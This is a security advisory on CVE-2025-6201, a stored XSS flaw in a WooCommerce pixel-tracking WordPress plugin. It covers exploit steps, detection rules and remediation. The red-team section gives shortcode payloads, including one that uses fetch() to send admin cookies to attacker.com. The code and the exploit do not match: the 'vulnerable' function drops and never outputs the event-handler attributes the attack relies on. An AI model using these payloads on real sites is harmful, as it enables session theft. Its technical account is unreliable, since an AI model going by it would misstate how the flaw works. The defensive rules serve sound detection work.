CVE-2025-6201

Executive Summary

CVE-2025-6201 is a Stored Cross-Site Scripting (XSS) vulnerability in the Pixel Manager for WooCommerce WordPress plugin (versions up to and including 1.49.0). The flaw resides in the plugin’s conversion-pixel shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary JavaScript into a page. When any user (including administrators) visits the compromised page, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache or Nginx). The plugin is widely used for tracking conversions via Google Ads, TikTok, and other analytics platforms, making it a high-value target for supply-chain attacks against WooCommerce stores.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the ability for a contributor-level user to execute arbitrary scripts on admin pages elevates the risk. In a WooCommerce context, this could lead to order manipulation, customer data exfiltration, or admin account takeover.

Deep Dive & Mechanics

The vulnerability exists in the conversion-pixel shortcode handler. The plugin registers a shortcode that accepts user-defined attributes (e.g., id, value, currency). These attributes are directly output into the HTML without proper sanitization or escaping.

Root Cause:

• The plugin uses echo or print to output attribute values directly into the page’s DOM.
• No esc_attr() or wp_kses() filtering is applied to the attributes.
• The shortcode is processed on every page load, meaning the injected script is stored in the database and executed persistently.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a post/page and inserts the [conversion-pixel] shortcode with a malicious attribute, e.g.:

   [conversion-pixel id="1" value="100" currency="USD" onclick="alert('XSS')"]
   

3. The plugin renders the shortcode, outputting the onclick attribute without escaping.
4. When an admin or other user views the page, the JavaScript executes.

WordPress-Specific Context:

• The vulnerability is in a WordPress plugin, not in the core or server software.
• The shortcode API in WordPress does not automatically escape custom attributes; the plugin developer must implement escaping.
• The attack surface is limited to authenticated users with at least contributor role, but in many WooCommerce stores, contributors are common (e.g., authors, editors).

Vulnerable vs. Patched Code

Vulnerable Code (version 1.49.0):

function conversion_pixel_shortcode($atts) {
    $atts = shortcode_atts(array(
        'id' => '',
        'value' => '',
        'currency' => 'USD',
    ), $atts);
    
    $output = '<img src="https://example.com/pixel?id=' . $atts['id'] . '&value=' . $atts['value'] . '&currency=' . $atts['currency'] . '" />';
    return $output;
}
add_shortcode('conversion-pixel', 'conversion_pixel_shortcode');

Patched Code (hypothetical fix):

function conversion_pixel_shortcode($atts) {
    $atts = shortcode_atts(array(
        'id' => '',
        'value' => '',
        'currency' => 'USD',
    ), $atts);
    
    $id = esc_attr($atts['id']);
    $value = esc_attr($atts['value']);
    $currency = esc_attr($atts['currency']);
    
    $output = '<img src="https://example.com/pixel?id=' . $id . '&value=' . $value . '&currency=' . $currency . '" />';
    return $output;
}
add_shortcode('conversion-pixel', 'conversion_pixel_shortcode');

Key Difference: The patched version uses esc_attr() to escape each attribute before output, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Pixel Manager for WooCommerce <= 1.49.0
• Contributor-level account or higher

Exploit Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the following shortcode with a malicious onmouseover event:

   [conversion-pixel id="1" value="100" currency="USD" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
   

4. Publish the post.
5. Send the link to an admin user. When they hover over the pixel (or the page loads), the script executes.

Alternative Payload (auto-execute):

[conversion-pixel id="1" value="100" currency="USD" src="x" onerror="alert(document.cookie)"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for shortcode usage containing suspicious attributes (e.g., onerror, onclick, onmouseover).
• Look for posts/pages created by contributor-level users that contain the [conversion-pixel] shortcode with non-standard attributes.

Hardening:

• Upgrade to a patched version once available.
• Restrict contributor-level users from using shortcodes via user_can checks.
• Implement a Web Application Firewall (WAF) rule to block shortcodes with event handler attributes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/pixel-manager-for-woocommerce/pixel-manager.php (version 1.49.0)
• Shortcode pattern: [conversion-pixel ... onerror=...] or [conversion-pixel ... onclick=...]
• HTTP Request: POST to /wp-admin/post.php with post_content containing [conversion-pixel and an event handler.
• Database: wp_posts table with post_content containing [conversion-pixel and suspicious attributes.

Detection Engineering

YARA Rule

rule CVE_2025_6201_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Pixel Manager for WooCommerce shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-6201"
    strings:
        $shortcode = "[conversion-pixel"
        $event_handler = /on\w+\s*=\s*["']/
    condition:
        $shortcode and $event_handler
}

Sigma Rule

title: CVE-2025-6201 Stored XSS via Pixel Manager Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts using the conversion-pixel shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/post.php'
        http.body|contains: '[conversion-pixel'
        http.body|re: 'on\w+\s*=\s*["\x27]'
    condition: selection
falsepositives:
    - Legitimate use of event handlers in shortcodes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6201 Stored XSS in Pixel Manager for WooCommerce"; flow:to_server; content:"[conversion-pixel"; http_client_body; pcre:"/on\w+\s*=\s*[\x22\x27]/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available.
2. Restrict contributor roles from using shortcodes via a custom plugin or user role editor.
3. Implement a WAF rule to block requests containing [conversion-pixel with event handlers.

Long-Term Fix:

• The vendor must release a patched version that escapes all shortcode attributes using esc_attr().
• Until then, consider using an alternative tracking plugin.

Workaround:

• Add the following code to your theme’s functions.php to remove the shortcode:

remove_shortcode('conversion-pixel');

Valters IT
Securing WordPress ecosystems, one CVE at a time.